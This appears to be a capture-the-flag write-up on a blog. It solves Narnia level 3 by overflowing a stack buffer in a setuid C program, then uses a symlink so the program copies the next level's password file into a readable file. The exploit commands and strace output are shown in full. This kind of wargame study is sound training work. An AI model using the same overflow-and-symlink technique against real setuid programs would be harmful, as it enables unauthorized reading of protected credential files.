#include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #include <string.h> int main(int argc, char **argv){ int ifd, ofd; char ofile[16] = "/dev/null"; char ifile[32]; char buf[32]; if(argc != 2){ printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]); exit(-1); } /* open files */ strcpy(ifile, argv[1]); if((ofd = open(ofile,O_RDWR)) < 0 ){ printf("error opening %s\n", ofile); exit(-1); } if((ifd = open(ifile, O_RDONLY)) < 0 ){ printf("error opening %s\n", ifile); exit(-1); } /* copy from file1 to file2 */ read(ifd, buf, sizeof(buf)-1); write(ofd,buf, sizeof(buf)-1); printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile); /* close 'em */ close(ifd); close(ofd); exit(1); }
The vulnerability come from the filenames (input from user and output "Dev/null") that are stored on the stack.
If we supply an argument longer than 32 bytes we can overwrite the output file and change it from "/dev/null" to a controlled value.
Try with 32 "A" followed by a "B" as parameter:
narnia3@narnia:~$ mkdir /tmp/narnia3z narnia3@narnia:~$ cd /tmp/narnia3z narnia3@narnia:/tmp/narnia3z$ strace /narnia/narnia3 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB" execve("/narnia/narnia3", ["/narnia/narnia3", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...], [/* 18 vars */]) = 0 strace: [ Process PID=7806 runs in 32 bit mode. ] .... open("B", O_RDWR) = -1 ENOENT (No such file or directory) fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0 brk(NULL) = 0x804a000 brk(0x806b000) = 0x806b000 write(1, "error opening B\n", 16error opening B ) = 16 exit_group(-1) = ? +++ exited with 255 +++
It tries to open a file "B" with write permission but there is no such file
Let's create it with 777 permission and retry:
narnia3@narnia:/tmp/narnia3z$ touch B narnia3@narnia:/tmp/narnia3z$ chmod 777 B narnia3@narnia:/tmp/narnia3z$ strace /narnia/narnia3 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB" execve("/narnia/narnia3", ["/narnia/narnia3", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...], [/* 18 vars */]) = 0 ... open("B", O_RDWR) = 3 open("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB", O_RDONLY) = -1 ENOENT (No such file or directory) fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0 brk(NULL) = 0x804a000 brk(0x806b000) = 0x806b000 write(1, "error opening AAAAAAAAAAAAAAAAAA"..., 48error opening AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB ) = 48 exit_group(-1) = ? +++ exited with 255 +++
Now it's able to open B in RDWR mode but it cannot open the inptut file in RDONLY mode.
Notice that the filename is "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB" (with a final "B")
We can create a symoblic link "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB" that points to the actual password file (/etc/narnia_pass/narnia4)
Then execute the vulnerable code without strace and dump the content of file "B" (with the password inside):
narnia3@narnia:/tmp/narnia3z$ ln -s /etc/narnia_pass/narnia4 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB narnia3@narnia:/tmp/narnia3z$ /narnia/narnia3 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB" copied contents of AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB to a safer place... (B) narnia3@narnia:/tmp/narnia3z$ cat B t******i narnia3@narnia:/tmp/narnia3z$
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.